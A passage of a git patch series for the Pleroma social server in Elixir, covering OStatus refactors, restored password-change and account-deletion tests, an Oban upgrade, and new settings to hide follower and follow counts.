@@ -232,19 +221,17 @@ def get_tags(entry) do
end
def maybe_update(doc, user) do
- if "true" == string_from_xpath("//author[1]/ap_enabled", doc) do
- Transmogrifier.upgrade_user_from_ap_id(user.ap_id)
- else
- maybe_update_ostatus(doc, user)
+ case string_from_xpath("//author[1]/ap_enabled", doc) do
+ "true" ->
+ Transmogrifier.upgrade_user_from_ap_id(user.ap_id)
+
+ _ ->
+ maybe_update_ostatus(doc, user)
end
end
def maybe_update_ostatus(doc, user) do
- old_data = %{
- avatar: user.avatar,
- bio: user.bio,
- name: user.name
- }
+ old_data = Map.take(user, [:bio, :avatar, :name])
with false <- user.local,
avatar <- make_avatar_object(doc),
@@ -279,38 +266,37 @@ def find_make_or_update_actor(doc) do
end
end
+ @spec find_or_make_user(String.t()) :: {:ok, User.t()}
def find_or_make_user(uri) do
- query = from(user in User, where: user.ap_id == ^uri)
-
- user = Repo.one(query)
-
- if is_nil(user) do
- make_user(uri)
- else
- {:ok, user}
+ case User.get_by_ap_id(uri) do
+ %User{} = user -> {:ok, user}
+ _ -> make_user(uri)
end
end
+ @spec make_user(String.t(), boolean()) :: {:ok, User.t()} | {:error, any()}
def make_user(uri, update \\ false) do
with {:ok, info} <- gather_user_info(uri) do
- data = %{
- name: info["name"],
- nickname: info["nickname"] <> "@" <> info["host"],
- ap_id: info["uri"],
- info: info,
- avatar: info["avatar"],
- bio: info["bio"]
- }
-
with false <- update,
- %User{} = user <- User.get_cached_by_ap_id(data.ap_id) do
+ %User{} = user <- User.get_cached_by_ap_id(info["uri"]) do
{:ok, user}
else
- _e -> User.insert_or_update_user(data)
+ _e -> User.insert_or_update_user(build_user_data(info))
end
end
end
+ defp build_user_data(info) do
+ %{
+ name: info["name"],
+ nickname: info["nickname"] <> "@" <> info["host"],
+ ap_id: info["uri"],
+ info: info,
+ avatar: info["avatar"],
+ bio: info["bio"]
+ }
+ end
+
# TODO: Just takes the first one for now.
def make_avatar_object(author_doc, rel \\ "avatar") do
href = string_from_xpath("//author[1]/link[@rel=\"#{rel}\"]/@href", author_doc)
@@ -319,23 +305,23 @@ def make_avatar_object(author_doc, rel \\ "avatar") do
if href do
%{
"type" => "Image",
- "url" => [
- %{
- "type" => "Link",
- "mediaType" => type,
- "href" => href
- }
- ]
+ "url" => [%{"type" => "Link", "mediaType" => type, "href" => href}]
}
else
nil
end
end
+ @spec gather_user_info(String.t()) :: {:ok, map()} | {:error, any()}
def gather_user_info(username) do
with {:ok, webfinger_data} <- WebFinger.finger(username),
{:ok, feed_data} <- Websub.gather_feed_data(webfinger_data["topic"]) do
- {:ok, Map.merge(webfinger_data, feed_data) |> Map.put("fqn", username)}
+ data =
+ webfinger_data
+ |> Map.merge(feed_data)
+ |> Map.put("fqn", username)
+
+ {:ok, data}
else
e ->
Logger.debug(fn -> "Couldn't gather info for #{username}" end)
@@ -371,10 +357,7 @@ def get_atom_url(body) do
def fetch_activity_from_atom_url(url, options \\ []) do
with true <- String.starts_with?(url, "http"),
{:ok, %{body: body, status: code}} when code in 200..299 <-
- HTTP.get(
- url,
- [{:Accept, "application/atom+xml"}]
- ) do
+ HTTP.get(url, [{:Accept, "application/atom+xml"}]) do
Logger.debug("Got document from #{url}, handling...")
handle_incoming(body, options)
else
diff --git a/lib/pleroma/web/ostatus/ostatus_controller.ex b/lib/pleroma/web/ostatus/ostatus_controller.ex
index 07e2a4c2d..64b2c64b3 100644
--- a/lib/pleroma/web/ostatus/ostatus_controller.ex
+++ b/lib/pleroma/web/ostatus/ostatus_controller.ex
@@ -55,12 +55,11 @@ def feed_redirect(conn, %{"nickname" => nickname}) do
def feed(conn, %{"nickname" => nickname} = params) do
with {_, %User{} = user} <- {:fetch_user, User.get_cached_by_nickname(nickname)} do
- query_params =
- Map.take(params, ["max_id"])
- |> Map.merge(%{"whole_db" => true, "actor_id" => user.ap_id})
-
activities =
- ActivityPub.fetch_public_activities(query_params)
+ params
+ |> Map.take(["max_id"])
+ |> Map.merge(%{"whole_db" => true, "actor_id" => user.ap_id})
+ |> ActivityPub.fetch_public_activities()
|> Enum.reverse()
response =
@@ -98,8 +97,7 @@ def salmon_incoming(conn, _) do
Federator.incoming_doc(doc)
- conn
- |> send_resp(200, "")
+ send_resp(conn, 200, "")
end
def object(%{assigns: %{format: format}} = conn, %{"uuid" => _uuid})
diff --git a/test/web/ostatus/ostatus_test.exs b/test/web/ostatus/ostatus_test.exs
index 803a97695..ff00c53ee 100644
--- a/test/web/ostatus/ostatus_test.exs
+++ b/test/web/ostatus/ostatus_test.exs
@@ -628,4 +628,18 @@ test "Article objects are not representable" do
refute OStatus.is_representable?(note_activity)
end
end
+
+ describe "make_user/2" do
+ test "creates new user" do
+ {:ok, user} = OStatus.make_user("https://social.heldscal.la/user/23211")
+
+ created_user =
+ User
+ |> Repo.get_by(ap_id: "https://social.heldscal.la/user/23211")
+ |> Map.put(:last_digest_emailed_at, nil)
+
+ assert user.info
+ assert user == created_user
+ end
+ end
end
From 43f17c2e67cfb85ae469eee39b526a5baf7c7408 Mon Sep 17 00:00:00 2001
From: Egor Kislitsyn
Date: Thu, 12 Sep 2019 19:04:55 +0700
Subject: [PATCH 017/148] Restore tests for `change_password` and
`delete_account`
---
test/web/twitter_api/util_controller_test.exs | 105 ++++++++++++++++++
1 file changed, 105 insertions(+)
diff --git a/test/web/twitter_api/util_controller_test.exs b/test/web/twitter_api/util_controller_test.exs
index 0a2a48fb7..56e318182 100644
--- a/test/web/twitter_api/util_controller_test.exs
+++ b/test/web/twitter_api/util_controller_test.exs
@@ -775,4 +775,109 @@ test "with credentials, valid password and valid email", %{
assert json_response(conn, 200) == %{"status" => "success"}
end
end
+
+ describe "POST /api/pleroma/change_password" do
+ setup [:valid_user]
+
+ test "without credentials", %{conn: conn} do
+ conn = post(conn, "/api/pleroma/change_password")
+ assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
+ end
+
+ test "with credentials and invalid password", %{conn: conn, user: current_user} do
+ conn =
+ conn
+ |> with_credentials(current_user.nickname, "test")
+ |> post("/api/pleroma/change_password", %{
+ "password" => "hi",
+ "new_password" => "newpass",
+ "new_password_confirmation" => "newpass"
+ })
+
+ assert json_response(conn, 200) == %{"error" => "Invalid password."}
+ end
+
+ test "with credentials, valid password and new password and confirmation not matching", %{
+ conn: conn,
+ user: current_user
+ } do
+ conn =
+ conn
+ |> with_credentials(current_user.nickname, "test")
+ |> post("/api/pleroma/change_password", %{
+ "password" => "test",
+ "new_password" => "newpass",
+ "new_password_confirmation" => "notnewpass"
+ })
+
+ assert json_response(conn, 200) == %{
+ "error" => "New password does not match confirmation."
+ }
+ end
+
+ test "with credentials, valid password and invalid new password", %{
+ conn: conn,
+ user: current_user
+ } do
+ conn =
+ conn
+ |> with_credentials(current_user.nickname, "test")
+ |> post("/api/pleroma/change_password", %{
+ "password" => "test",
+ "new_password" => "",
+ "new_password_confirmation" => ""
+ })
+
+ assert json_response(conn, 200) == %{
+ "error" => "New password can't be blank."
+ }
+ end
+
+ test "with credentials, valid password and matching new password and confirmation", %{
+ conn: conn,
+ user: current_user
+ } do
+ conn =
+ conn
+ |> with_credentials(current_user.nickname, "test")
+ |> post("/api/pleroma/change_password", %{
+ "password" => "test",
+ "new_password" => "newpass",
+ "new_password_confirmation" => "newpass"
+ })
+
+ assert json_response(conn, 200) == %{"status" => "success"}
+ fetched_user = User.get_cached_by_id(current_user.id)
+ assert Comeonin.Pbkdf2.checkpw("newpass", fetched_user.password_hash) == true
+ end
+ end
+
+ describe "POST /api/pleroma/delete_account" do
+ setup [:valid_user]
+
+ test "without credentials", %{conn: conn} do
+ conn = post(conn, "/api/pleroma/delete_account")
+ assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
+ end
+
+ test "with credentials and invalid password", %{conn: conn, user: current_user} do
+ conn =
+ conn
+ |> with_credentials(current_user.nickname, "test")
+ |> post("/api/pleroma/delete_account", %{"password" => "hi"})
+
+ assert json_response(conn, 200) == %{"error" => "Invalid password."}
+ end
+
+ test "with credentials and valid password", %{conn: conn, user: current_user} do
+ conn =
+ conn
+ |> with_credentials(current_user.nickname, "test")
+ |> post("/api/pleroma/delete_account", %{"password" => "test"})
+
+ assert json_response(conn, 200) == %{"status" => "success"}
+ # Wait a second for the started task to end
+ :timer.sleep(1000)
+ end
+ end
end
From 085d014f0859b3b3e5023c423ae0361ec6ed6c67 Mon Sep 17 00:00:00 2001
From: Egor Kislitsyn
Date: Mon, 16 Sep 2019 19:26:00 +0700
Subject: [PATCH 018/148] Fix `Transmogrifier.upgrade_user_from_ap_id/1`
---
lib/pleroma/web/activity_pub/transmogrifier.ex | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/lib/pleroma/web/activity_pub/transmogrifier.ex b/lib/pleroma/web/activity_pub/transmogrifier.ex
index acb3087d0..8461b666e 100644
--- a/lib/pleroma/web/activity_pub/transmogrifier.ex
+++ b/lib/pleroma/web/activity_pub/transmogrifier.ex
@@ -1050,7 +1050,7 @@ def upgrade_user_from_ap_id(ap_id) do
with %User{local: false} = user <- User.get_cached_by_ap_id(ap_id),
{:ok, data} <- ActivityPub.fetch_and_prepare_user_from_ap_id(ap_id),
already_ap <- User.ap_enabled?(user),
- {:ok, user} <- user |> User.upgrade_changeset(data) |> User.update_and_set_cache() do
+ {:ok, user} <- user |> User.upgrade_changeset(data, true) |> User.update_and_set_cache() do
unless already_ap do
TransmogrifierWorker.enqueue("user_upgrade", %{"user_id" => user.id})
end
From a21584556f2c3edb90db3c58ba2a4829a7e220c1 Mon Sep 17 00:00:00 2001
From: rinpatch
Date: Tue, 17 Sep 2019 13:04:43 +0300
Subject: [PATCH 019/148] Update oban to 0.8.1
This version uses a different locking mechanism, which gets rid of
`WARNING: you don't own a lock of type ShareLock` log spam
---
lib/pleroma/flake_id.ex | 2 +-
mix.exs | 2 +-
mix.lock | 8 ++++----
priv/repo/migrations/20190917100019_update_oban.exs | 11 +++++++++++
4 files changed, 17 insertions(+), 6 deletions(-)
create mode 100644 priv/repo/migrations/20190917100019_update_oban.exs
diff --git a/lib/pleroma/flake_id.ex b/lib/pleroma/flake_id.ex
index 47d61ca5f..042cf8659 100644
--- a/lib/pleroma/flake_id.ex
+++ b/lib/pleroma/flake_id.ex
@@ -14,7 +14,7 @@ defmodule Pleroma.FlakeId do
@type t :: binary
- @behaviour Ecto.Type
+ use Ecto.Type
use GenServer
require Logger
alias __MODULE__
diff --git a/mix.exs b/mix.exs
index 911ebad1d..230f90244 100644
--- a/mix.exs
+++ b/mix.exs
@@ -101,7 +101,7 @@ defp deps do
{:phoenix_ecto, "~> 4.0"},
{:ecto_sql, "~> 3.1"},
{:postgrex, ">= 0.13.5"},
- {:oban, "~> 0.7"},
+ {:oban, "~> 0.8.1"},
{:quantum, "~> 2.3"},
{:gettext, "~> 0.15"},
{:comeonin, "~> 4.1.1"},
diff --git a/mix.lock b/mix.lock
index 0bf6a811e..547ff6be6 100644
--- a/mix.lock
+++ b/mix.lock
@@ -21,8 +21,8 @@
"decimal": {:hex, :decimal, "1.8.0", "ca462e0d885f09a1c5a342dbd7c1dcf27ea63548c65a65e67334f4b61803822e", [:mix], [], "hexpm"},
"deep_merge": {:hex, :deep_merge, "1.0.0", "b4aa1a0d1acac393bdf38b2291af38cb1d4a52806cf7a4906f718e1feb5ee961", [:mix], [], "hexpm"},
"earmark": {:hex, :earmark, "1.3.6", "ce1d0675e10a5bb46b007549362bd3f5f08908843957687d8484fe7f37466b19", [:mix], [], "hexpm"},
- "ecto": {:hex, :ecto, "3.1.4", "69d852da7a9f04ede725855a35ede48d158ca11a404fe94f8b2fb3b2162cd3c9", [:mix], [{:decimal, "~> 1.6", [hex: :decimal, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}], "hexpm"},
- "ecto_sql": {:hex, :ecto_sql, "3.1.3", "2c536139190492d9de33c5fefac7323c5eaaa82e1b9bf93482a14649042f7cd9", [:mix], [{:db_connection, "~> 2.0", [hex: :db_connection, repo: "hexpm", optional: false]}, {:ecto, "~> 3.1.0", [hex: :ecto, repo: "hexpm", optional: false]}, {:mariaex, "~> 0.9.1", [hex: :mariaex, repo: "hexpm", optional: true]}, {:myxql, "~> 0.2.0", [hex: :myxql, repo: "hexpm", optional: true]}, {:postgrex, "~> 0.14.0", [hex: :postgrex, repo: "hexpm", optional: true]}, {:telemetry, "~> 0.4.0", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm"},
+ "ecto": {:hex, :ecto, "3.2.0", "940e2598813f205223d60c78d66e514afe1db5167ed8075510a59e496619cfb5", [:mix], [{:decimal, "~> 1.6", [hex: :decimal, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}], "hexpm"},
+ "ecto_sql": {:hex, :ecto_sql, "3.2.0", "751cea597e8deb616084894dd75cbabfdbe7255ff01e8c058ca13f0353a3921b", [:mix], [{:db_connection, "~> 2.1", [hex: :db_connection, repo: "hexpm", optional: false]}, {:ecto, "~> 3.2.0", [hex: :ecto, repo: "hexpm", optional: false]}, {:myxql, "~> 0.2.0", [hex: :myxql, repo: "hexpm", optional: true]}, {:postgrex, "~> 0.15.0", [hex: :postgrex, repo: "hexpm", optional: true]}, {:telemetry, "~> 0.4.0", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm"},
"esshd": {:hex, :esshd, "0.1.0", "6f93a2062adb43637edad0ea7357db2702a4b80dd9683482fe00f5134e97f4c1", [:mix], [], "hexpm"},
"eternal": {:hex, :eternal, "1.2.0", "e2a6b6ce3b8c248f7dc31451aefca57e3bdf0e48d73ae5043229380a67614c41", [:mix], [], "hexpm"},
"ex2ms": {:hex, :ex2ms, "1.5.0", "19e27f9212be9a96093fed8cdfbef0a2b56c21237196d26760f11dfcfae58e97", [:mix], [], "hexpm"},
@@ -60,7 +60,7 @@
"mogrify": {:hex, :mogrify, "0.6.1", "de1b527514f2d95a7bbe9642eb556061afb337e220cf97adbf3a4e6438ed70af", [:mix], [], "hexpm"},
"mox": {:hex, :mox, "0.5.1", "f86bb36026aac1e6f924a4b6d024b05e9adbed5c63e8daa069bd66fb3292165b", [:mix], [], "hexpm"},
"nimble_parsec": {:hex, :nimble_parsec, "0.5.1", "c90796ecee0289dbb5ad16d3ad06f957b0cd1199769641c961cfe0b97db190e0", [:mix], [], "hexpm"},
- "oban": {:hex, :oban, "0.7.1", "171bdd1b69c1a4a839f8c768f5e962fc22d1de1513d459fb6b8e0cbd34817a9a", [:mix], [{:ecto_sql, "~> 3.1", [hex: :ecto_sql, repo: "hexpm", optional: false]}, {:jason, "~> 1.1", [hex: :jason, repo: "hexpm", optional: false]}, {:postgrex, "~> 0.14", [hex: :postgrex, repo: "hexpm", optional: false]}, {:telemetry, "~> 0.4", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm"},
+ "oban": {:hex, :oban, "0.8.1", "4bbf62eb1829f856d69aeb5069ac7036afe07db8221a17de2a9169cc7a58a318", [:mix], [{:ecto_sql, "~> 3.1", [hex: :ecto_sql, repo: "hexpm", optional: false]}, {:jason, "~> 1.1", [hex: :jason, repo: "hexpm", optional: false]}, {:postgrex, "~> 0.14", [hex: :postgrex, repo: "hexpm", optional: false]}, {:telemetry, "~> 0.4", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm"},
"parse_trans": {:hex, :parse_trans, "3.3.0", "09765507a3c7590a784615cfd421d101aec25098d50b89d7aa1d66646bc571c1", [:rebar3], [], "hexpm"},
"pbkdf2_elixir": {:hex, :pbkdf2_elixir, "0.12.3", "6706a148809a29c306062862c803406e88f048277f6e85b68faf73291e820b84", [:mix], [], "hexpm"},
"phoenix": {:hex, :phoenix, "1.4.9", "746d098e10741c334d88143d3c94cab1756435f94387a63441792e66ec0ee974", [:mix], [{:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}, {:phoenix_pubsub, "~> 1.1", [hex: :phoenix_pubsub, repo: "hexpm", optional: false]}, {:plug, "~> 1.8.1 or ~> 1.9", [hex: :plug, repo: "hexpm", optional: false]}, {:plug_cowboy, "~> 1.0 or ~> 2.0", [hex: :plug_cowboy, repo: "hexpm", optional: true]}, {:telemetry, "~> 0.4", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm"},
@@ -74,7 +74,7 @@
"plug_static_index_html": {:hex, :plug_static_index_html, "1.0.0", "840123d4d3975585133485ea86af73cb2600afd7f2a976f9f5fd8b3808e636a0", [:mix], [{:plug, "~> 1.0", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm"},
"poison": {:hex, :poison, "3.1.0", "d9eb636610e096f86f25d9a46f35a9facac35609a7591b3be3326e99a0484665", [:mix], [], "hexpm"},
"poolboy": {:hex, :poolboy, "1.5.2", "392b007a1693a64540cead79830443abf5762f5d30cf50bc95cb2c1aaafa006b", [:rebar3], [], "hexpm"},
- "postgrex": {:hex, :postgrex, "0.14.3", "5754dee2fdf6e9e508cbf49ab138df964278700b764177e8f3871e658b345a1e", [:mix], [{:connection, "~> 1.0", [hex: :connection, repo: "hexpm", optional: false]}, {:db_connection, "~> 2.0", [hex: :db_connection, repo: "hexpm", optional: false]}, {:decimal, "~> 1.5", [hex: :decimal, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}], "hexpm"},
+ "postgrex": {:hex, :postgrex, "0.15.1", "23ce3417de70f4c0e9e7419ad85bdabcc6860a6925fe2c6f3b1b5b1e8e47bf2f", [:mix], [{:connection, "~> 1.0", [hex: :connection, repo: "hexpm", optional: false]}, {:db_connection, "~> 2.1", [hex: :db_connection, repo: "hexpm", optional: false]}, {:decimal, "~> 1.5", [hex: :decimal, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}], "hexpm"},
"prometheus": {:hex, :prometheus, "4.4.1", "1e96073b3ed7788053768fea779cbc896ddc3bdd9ba60687f2ad50b252ac87d6", [:mix, :rebar3], [], "hexpm"},
"prometheus_ecto": {:hex, :prometheus_ecto, "1.4.1", "6c768ea9654de871e5b32fab2eac348467b3021604ebebbcbd8bcbe806a65ed5", [:mix], [{:ecto, "~> 2.0 or ~> 3.0", [hex: :ecto, repo: "hexpm", optional: false]}, {:prometheus_ex, "~> 1.1 or ~> 2.0 or ~> 3.0", [hex: :prometheus_ex, repo: "hexpm", optional: false]}], "hexpm"},
"prometheus_ex": {:hex, :prometheus_ex, "3.0.5", "fa58cfd983487fc5ead331e9a3e0aa622c67232b3ec71710ced122c4c453a02f", [:mix], [{:prometheus, "~> 4.0", [hex: :prometheus, repo: "hexpm", optional: false]}], "hexpm"},
diff --git a/priv/repo/migrations/20190917100019_update_oban.exs b/priv/repo/migrations/20190917100019_update_oban.exs
new file mode 100644
index 000000000..157dc54f9
--- /dev/null
+++ b/priv/repo/migrations/20190917100019_update_oban.exs
@@ -0,0 +1,11 @@
+defmodule Pleroma.Repo.Migrations.UpdateOban do
+ use Ecto.Migration
+
+ def up do
+ Oban.Migrations.up(version: 4)
+ end
+
+ def down do
+ Oban.Migrations.down(version: 2)
+ end
+end
From 450bf7a63c39c2301d5985448a867e77f1dfe3b3 Mon Sep 17 00:00:00 2001
From: eugenijm
Date: Fri, 13 Sep 2019 17:37:30 +0300
Subject: [PATCH 020/148] Mastodon API: Add a setting to hide follow/follower
count from the user view (`hide_follows_count` and `hide_followers_count`)
---
CHANGELOG.md | 1 +
docs/api/differences_in_mastoapi_responses.md | 4 +++
lib/pleroma/user/info.ex | 14 ++++++--
.../web/activity_pub/views/user_view.ex | 32 +++++++++++--------
.../controllers/mastodon_api_controller.ex | 2 ++
.../web/mastodon_api/views/account_view.ex | 14 ++++++--
.../web/activity_pub/views/user_view_test.exs | 24 ++++++++++++--
.../update_credentials_test.exs | 16 ++++++++++
.../mastodon_api/views/account_view_test.exs | 31 ++++++++++++++++--
9 files changed, 117 insertions(+), 21 deletions(-)
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 4eb72c002..7dfa477b4 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -94,6 +94,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
- Mastodon API: added `/auth/password` endpoint for password reset with rate limit.
- Mastodon API: /api/v1/accounts/:id/statuses now supports nicknames or user id
- Mastodon API: Improve support for the user profile custom fields
+- Mastodon API: follower/following counters are nullified when `hide_follows`/`hide_followers` and `hide_follows_count`/`hide_followers_count` are set
- Admin API: Return users' tags when querying reports
- Admin API: Return avatar and display name when querying users
- Admin API: Allow querying user by ID
diff --git a/docs/api/differences_in_mastoapi_responses.md b/docs/api/differences_in_mastoapi_responses.md
index 9b32baf3a..3c7f5dad7 100644
--- a/docs/api/differences_in_mastoapi_responses.md
+++ b/docs/api/differences_in_mastoapi_responses.md
@@ -50,6 +50,8 @@ Has these additional fields under the `pleroma` object:
- `confirmation_pending`: boolean, true if a new user account is waiting on email confirmation to be activated
- `hide_followers`: boolean, true when the user has follower hiding enabled
- `hide_follows`: boolean, true when the user has follow hiding enabled
+- `hide_followers_count`: boolean, true when the user has follower stat hiding enabled
+- `hide_follows_count`: boolean, true when the user has follow stat hiding enabled
- `settings_store`: A generic map of settings for frontends. Opaque to the backend. Only returned in `verify_credentials` and `update_credentials`
- `chat_token`: The token needed for Pleroma chat. Only returned in `verify_credentials`
- `deactivated`: boolean, true when the user is deactivated
@@ -112,6 +114,8 @@ Additional parameters can be added to the JSON body/Form data:
- `no_rich_text` - if true, html tags are stripped from all statuses requested from the API
- `hide_followers` - if true, user's followers will be hidden
- `hide_follows` - if true, user's follows will be hidden
+- `hide_followers_count` - if true, user's follower count will be hidden
+- `hide_follows_count` - if true, user's follow count will be hidden
- `hide_favorites` - if true, user's favorites timeline will be hidden
- `show_role` - if true, user's role (e.g admin, moderator) will be exposed to anyone in the API
- `default_scope` - the scope returned under `privacy` key in Source subentity
diff --git a/lib/pleroma/user/info.ex b/lib/pleroma/user/info.ex
index 151e025de..b150a57cd 100644
--- a/lib/pleroma/user/info.ex
+++ b/lib/pleroma/user/info.ex
@@ -41,6 +41,8 @@ defmodule Pleroma.User.Info do
field(:topic, :string, default: nil)
field(:hub, :string, default: nil)
field(:salmon, :string, default: nil)
+ field(:hide_followers_count, :boolean, default: false)
+ field(:hide_follows_count, :boolean, default: false)
field(:hide_followers, :boolean, default: false)
field(:hide_follows, :boolean, default: false)
field(:hide_favorites, :boolean, default: true)
@@ -262,6 +264,8 @@ def remote_user_creation(info, params) do
:salmon,
:hide_followers,
:hide_follows,
+ :hide_followers_count,
+ :hide_follows_count,
:follower_count,
:fields,
:following_count
@@ -281,7 +285,9 @@ def user_upgrade(info, params, remote? \\ false) do
:following_count,
:hide_follows,
:fields,
- :hide_followers
+ :hide_followers,
+ :hide_followers_count,
+ :hide_follows_count
])
|> validate_fields(remote?)
end
@@ -295,6 +301,8 @@ def profile_update(info, params) do
:banner,
:hide_follows,
:hide_followers,
+ :hide_followers_count,
+ :hide_follows_count,
:hide_favorites,
:background,
:show_role,
@@ -458,7 +466,9 @@ def follow_information_update(info, params) do
:hide_followers,
:hide_follows,
:follower_count,
- :following_count
+ :following_count,
+ :hide_followers_count,
+ :hide_follows_count
])
end
end
diff --git a/lib/pleroma/web/activity_pub/views/user_view.ex b/lib/pleroma/web/activity_pub/views/user_view.ex
index 7be734b26..164b973d0 100644
--- a/lib/pleroma/web/activity_pub/views/user_view.ex
+++ b/lib/pleroma/web/activity_pub/views/user_view.ex
@@ -118,30 +118,34 @@ def render("user.json", %{user: user}) do
end
def render("following.json", %{user: user, page: page} = opts) do
- showing = (opts[:for] && opts[:for] == user) || !user.info.hide_follows
+ showing_items = (opts[:for] && opts[:for] == user) || !user.info.hide_follows
+ showing_count = showing_items || !user.info.hide_follows_count
+
query = User.get_friends_query(user)
query = from(user in query, select: [:ap_id])
following = Repo.all(query)
total =
- if showing do
+ if showing_count do
length(following)
else
0
end
- collection(following, "#{user.ap_id}/following", page, showing, total)
+ collection(following, "#{user.ap_id}/following", page, showing_items, total)
|> Map.merge(Utils.make_json_ld_header())
end
def render("following.json", %{user: user} = opts) do
- showing = (opts[:for] && opts[:for] == user) || !user.info.hide_follows
+ showing_items = (opts[:for] && opts[:for] == user) || !user.info.hide_follows
+ showing_count = showing_items || !user.info.hide_follows_count
+
query = User.get_friends_query(user)
query = from(user in query, select: [:ap_id])
following = Repo.all(query)
total =
- if showing do
+ if showing_count do
length(following)
else
0
@@ -152,7 +156,7 @@ def render("following.json", %{user: user} = opts) do
"type" => "OrderedCollection",
"totalItems" => total,
"first" =>
- if showing do
+ if showing_items do
collection(following, "#{user.ap_id}/following", 1, !user.info.hide_follows)
else
"#{user.ap_id}/following?page=1"
@@ -162,32 +166,34 @@ def render("following.json", %{user: user} = opts) do
end
def render("followers.json", %{user: user, page: page} = opts) do
- showing = (opts[:for] && opts[:for] == user) || !user.info.hide_followers
+ showing_items = (opts[:for] && opts[:for] == user) || !user.info.hide_followers
+ showing_count = showing_items || !user.info.hide_followers_count
query = User.get_followers_query(user)
query = from(user in query, select: [:ap_id])
followers = Repo.all(query)
total =
- if showing do
+ if showing_count do
length(followers)
else
0
end
- collection(followers, "#{user.ap_id}/followers", page, showing, total)
+ collection(followers, "#{user.ap_id}/followers", page, showing_items, total)
|> Map.merge(Utils.make_json_ld_header())
end
def render("followers.json", %{user: user} = opts) do
- showing = (opts[:for] && opts[:for] == user) || !user.info.hide_followers
+ showing_items = (opts[:for] && opts[:for] == user) || !user.info.hide_followers
+ showing_count = showing_items || !user.info.hide_followers_count
query = User.get_followers_query(user)
query = from(user in query, select: [:ap_id])
followers = Repo.all(query)
total =
- if showing do
+ if showing_count do
length(followers)
else
0
@@ -198,8 +204,8 @@ def render("followers.json", %{user: user} = opts) do
"type" => "OrderedCollection",
"totalItems" => total,
"first" =>
- if showing do
- collection(followers, "#{user.ap_id}/followers", 1, showing, total)
+ if showing_items do
+ collection(followers, "#{user.ap_id}/followers", 1, showing_items, total)
else
"#{user.ap_id}/followers?page=1"
end
diff --git a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex
index 060137b80..1beb4bcf2 100644
--- a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex
+++ b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex
@@ -147,6 +147,8 @@ def update_credentials(%{assigns: %{user: user}} = conn, params) do
[
:no_rich_text,
:locked,
+ :hide_followers_count,
+ :hide_follows_count,
:hide_followers,
:hide_follows,
:hide_favorites,
diff --git a/lib/pleroma/web/mastodon_api/views/account_view.ex b/lib/pleroma/web/mastodon_api/views/account_view.ex
index 169116d0d..195dd124b 100644
--- a/lib/pleroma/web/mastodon_api/views/account_view.ex
+++ b/lib/pleroma/web/mastodon_api/views/account_view.ex
@@ -74,10 +74,18 @@ defp do_render("account.json", %{user: user} = opts) do
user_info = User.get_cached_user_info(user)
following_count =
- ((!user.info.hide_follows or opts[:for] == user) && user_info.following_count) || 0
+ if !user.info.hide_follows_count or !user.info.hide_follows or opts[:for] == user do
+ user_info.following_count
+ else
+ 0
+ end
followers_count =
- ((!user.info.hide_followers or opts[:for] == user) && user_info.follower_count) || 0
+ if !user.info.hide_followers_count or !user.info.hide_followers or opts[:for] == user do
+ user_info.follower_count
+ else
+ 0
+ end
bot = (user.info.source_data["type"] || "Person") in ["Application", "Service"]
@@ -138,6 +146,8 @@ defp do_render("account.json", %{user: user} = opts) do
pleroma: %{
confirmation_pending: user_info.confirmation_pending,
tags: user.tags,
+ hide_followers_count: user.info.hide_followers_count,
+ hide_follows_count: user.info.hide_follows_count,
hide_followers: user.info.hide_followers,
hide_follows: user.info.hide_follows,
hide_favorites: user.info.hide_favorites,
diff --git a/test/web/activity_pub/views/user_view_test.exs b/test/web/activity_pub/views/user_view_test.exs
index fb7fd9e79..2b4a04afd 100644
--- a/test/web/activity_pub/views/user_view_test.exs
+++ b/test/web/activity_pub/views/user_view_test.exs
@@ -105,10 +105,20 @@ test "sets totalItems to zero when followers are hidden" do
other_user = insert(:user)
{:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user)
assert %{"totalItems" => 1} = UserView.render("followers.json", %{user: user})
- info = Map.put(user.info, :hide_followers, true)
+ info = Map.merge(user.info, %{hide_followers_count: true, hide_followers: true})
user = Map.put(user, :info, info)
assert %{"totalItems" => 0} = UserView.render("followers.json", %{user: user})
end
+
+ test "sets correct totalItems when followers are hidden but the follower counter is not" do
+ user = insert(:user)
+ other_user = insert(:user)
+ {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user)
+ assert %{"totalItems" => 1} = UserView.render("followers.json", %{user: user})
+ info = Map.merge(user.info, %{hide_followers_count: false, hide_followers: true})
+ user = Map.put(user, :info, info)
+ assert %{"totalItems" => 1} = UserView.render("followers.json", %{user: user})
+ end
end
describe "following" do
@@ -117,9 +127,19 @@ test "sets totalItems to zero when follows are hidden" do
other_user = insert(:user)
{:ok, user, _other_user, _activity} = CommonAPI.follow(user, other_user)
assert %{"totalItems" => 1} = UserView.render("following.json", %{user: user})
- info = Map.put(user.info, :hide_follows, true)
+ info = Map.merge(user.info, %{hide_follows_count: true, hide_follows: true})
user = Map.put(user, :info, info)
assert %{"totalItems" => 0} = UserView.render("following.json", %{user: user})
end
+
+ test "sets correct totalItems when follows are hidden but the follow counter is not" do
+ user = insert(:user)
+ other_user = insert(:user)
+ {:ok, user, _other_user, _activity} = CommonAPI.follow(user, other_user)
+ assert %{"totalItems" => 1} = UserView.render("following.json", %{user: user})
